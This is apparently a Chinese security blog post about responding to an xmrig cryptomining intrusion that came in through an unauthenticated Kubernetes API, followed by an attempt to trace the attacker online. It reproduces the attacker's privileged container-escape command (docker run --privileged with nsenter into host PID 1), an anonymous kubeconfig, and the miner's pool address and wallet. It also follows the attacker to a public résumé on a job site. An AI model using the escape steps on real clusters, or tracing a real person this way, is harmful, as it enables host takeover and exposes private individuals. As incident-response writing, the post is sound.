故事背景

一天我收到云安全告警,说服务器被人挖矿,就非常奇怪,因为我在服务器已经部署了HIDS,为啥我没有收到呢?后面才知道是容器服务被人入侵,HIDS只关注宿主机状态。

(以下过程是重新搭建一套环境进行分析入侵攻击流程)

故事过程

应急措施

首先使用TOP命令查看CPU使用情况,发现CPU使用最多的进行xmrig,懂的人都知道这个进程是门罗币的挖矿程序,也就是咱们中了挖矿病毒。1599566986.png!small

接着就找他的位置,发现它在/usr/bin/

1599567191.png!small

但是查看它的位置显示不存在,这就很奇怪了,因为如果是自删除的话,exe这里就会显示删除,但是并没有,而且一直kill它,接着就复活,一开始怀疑的是不是还有其他进程支持它复活。

1599567322.png!small

接着在docker里面发现有这个挖矿服务正在运行中,难怪一直KILL都会复活

因为存在非常多镜像,直接筛选跑CPU最多的容器出来。

[root@localhost ~]# docker stats --no-stream 
CONTAINER    CPU %       MEM USAGE / LIMIT       MEM %      NET I/O   BLOCK I/O       PIDS
8c20ceddd118 99.07%  258.9 MiB / 972.4 MiB   26.63%  1.93 kB / 1.61 kB  6.34 MB / 0 B   7

找到了挖矿镜像,原来是被人下载了镜像,并且运行

1599569394.png!small

于是进入到容器里面,ps命令查看进程运行情况

[root@8c20ceddd118 /]# ps aux | grep xm
root          1 99.6 26.9 540496 268204 ?       Ssl+ 12:19  11:39 /usr/bin/xmrig -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0

-o就是矿池中控的地址,u就是钱包地址。

事到如今,可以确认引起告警是挖矿程序跑满CPU导致的,所以直接停掉这个容器服务

[root@localhost ~]# docker stop 8c20
8c20
[root@localhost ~]# 

接着检查一下有没有被人留后门,发现了一个执行脚本

1599568880.png!small

看来还留了一手,在宿主机也运行门罗币挖矿程序,下载压缩包,发现里面有一个运行程序和配置文件,查看这个配置文件,是连接矿池的配置。

1599569546.png!small

找了一遍之后,没有发现什么了,只有两个入侵行为。

溯源过程

因为是一套K8S集群,我当时发现有两个镜像存在xmrig,其中一个就是K8S的RBAC镜像(权限控制),后面查询K8SAPI访问日志,才知道API可以匿名访问控制(system:anonymous),具体过程如下:

先查看K8S集群里面有多少nodes节点,因为我是本地搭建,所以我只有单节点,localhost。

1599576861.png!small

使用post方式调用接口创建pods(pods概念可以理解成一个箱子里面运行一个或多个容器)

1599622430.png!small

由于是K8S api未授权访问,所以直接修改本地kubtctl直接就调用,不使用上面方式进行调用,麻烦。

root@localhost:~# cat /root/.kube/config 
apiVersion: v1
clusters:
- cluster:
    server: https://192.168.1.140:8443
  name: mk
contexts:
- context:
    cluster: mk
    user: anonymous
  name: kubernetes-admin@mk
current-context: kubernetes-admin@mk
kind: Config
preferences: {}

这个是黑客的调用docker镜像进行提权,核心代码是以下这段

"command": ["docker", "run", "-it", "--privileged", "--pid=host", "--net=host", "docker", "sh", "-c", "nsenter --mount=/proc/1/ns/mnt -- su -"],
  • --privileged:给予容器特权
  • --pid=host:共享主机进程
  • --net=host:共享主机网络
  • nsenter --mount=/proc/1/ns/mnt -- su - :挂在宿主机的/proc目录到容器/proc里面,并且su变成root用户

1599630005.png!small

以下是整个攻击过程模拟:

  1. 黑客发现K8S API存在未授权访问
  2. 匿名用户创建pods,并且查看pods是否成功激活
  3. 提权,容器逃逸并且成为宿主机的root用户
  4. 下载恶意脚本和启动挖矿镜像
  5. 退出容器,并且删除pods,清理痕迹

1599632690.png!small

追踪过程

根据这个黑客的镜像名字,我找到了他的dockerhub仓库,居然下载有1K多次,看来是个老矿工。

1599569296.png!small

咦,居然还留着GitHub地址,点击过去,还有dockefile,看来只是安装和配置门罗币挖矿程序

1599569870.png!small

来到他的个人首页,居然还发现上面有一个通信地址,看来是俄罗斯黑客。

1599569961.png!small

点击进去发现,原来是个俄罗斯招聘网站,类似拉勾程序员招聘网站。1599570086.png!small

注册登录进去,令人惊讶的是,简历居然是公开的=-=防社工意识不强啊。这年头,大佬都要下海干活,看来中年危机很严重。。。

1599570263.png!small

继续Google发现还真的是大佬,具体信息就不发出来了。

这就让我很好奇他赚了多少钱,找他矿池地址

1599570460.png!small

点击首页看到一堆币运行教程

1599570507.png!small

输入钱包地址,就会看到挖矿的经过,这段时间就赚了66美元。

1599570596.png!small

看来是这个钱包地址是从七天前开始启用的,但是发现dockerfile最早的记录是在几个月前,可想而知,大佬估计换一个钱包地址继续下一波。

1599570791.png!small

本文作者:陌度